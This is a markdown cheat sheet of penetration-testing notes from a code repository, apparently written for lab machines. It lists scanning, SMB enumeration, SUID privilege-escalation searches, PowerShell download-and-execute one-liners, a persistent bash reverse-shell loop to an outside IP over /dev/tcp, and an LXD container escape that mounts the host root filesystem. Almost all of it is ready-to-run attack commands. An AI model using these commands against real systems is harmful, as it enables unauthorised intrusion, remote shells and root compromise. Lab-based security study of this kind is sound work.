Skip to content

Latest commit

 

History

History
110 lines (91 loc) · 2.64 KB

pentest.md

File metadata and controls

110 lines (91 loc) · 2.64 KB
Raw

Penetration Testing Cheat Sheet

Captured learning notes

Follow redirects

wget --delete-after url 2>&1 | grep Location:
curl -v -L http://picasaweb.google.com 2>&1 | egrep "^> (Host:|GET)"

Port scanning

nmap 10.10.10.150 -p-
nmap -sC -sV 10.10.150 -p80 -oA scan

Web scan enumeration

dirhunt 10.10.10.150
gobuster -u 10.10.10.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Discover SMB shares

nmb lookup -A 10.10.10.150
smbclient -L \\fqdn -I 10.10.10.150 -N

TTY/PTY

python -c 'import pty;pty.spawn("/bin/bash")'

Export $PATH

export PATH=​$PATH​:/bin:/sbin:/usr/bin:/usr/sbin:/usr/​local​/bin:/usr/​local​/sbin

Privilege Escalation with SUID

Linux Privilege Escalation using SUID Binaries

find / -perm -u=s -type f 2>/dev/null

Linux PrivEsc: Abusing SUID

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Find files not owned by user

find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null

Find files owned by user

find / -writable -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null

Find hidden files

find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null

Download Methods

PowerShell

IEX(New-Object Net.WebClient).downloadString('https://10.10.10.150:80/script.ps1')
powershell "(New-Object System.Net.WebClient).downloadFile('http://10.10.10.150:8000/file.exe','file.exe')"

Padbuster

padbuster http://10.10.10.150 string # -cookies auth=string -encoding 0

Decode/Decrypt

echo string | base64 --decode

msfvenom

Creating Metasploit Payloads

Reverse shell loop

while true; do sleep 25 && bash -i >& /dev/tcp/10.10.2.58/6666 0>&1; done 2>/dev/null &

Connect to pop3

openssl s_client -connect 10.10.10.150:995

LXD

Download and build the image locally.

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686

On victim server, import image, set perms and exec shell

lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list

lxc init myimage trevor -c security.privileged=true
lxc config device add trevor mydevice disk source=/ path=/mnt/root recursive=true
lxc start trevor
lxc exec trevor /bin/sh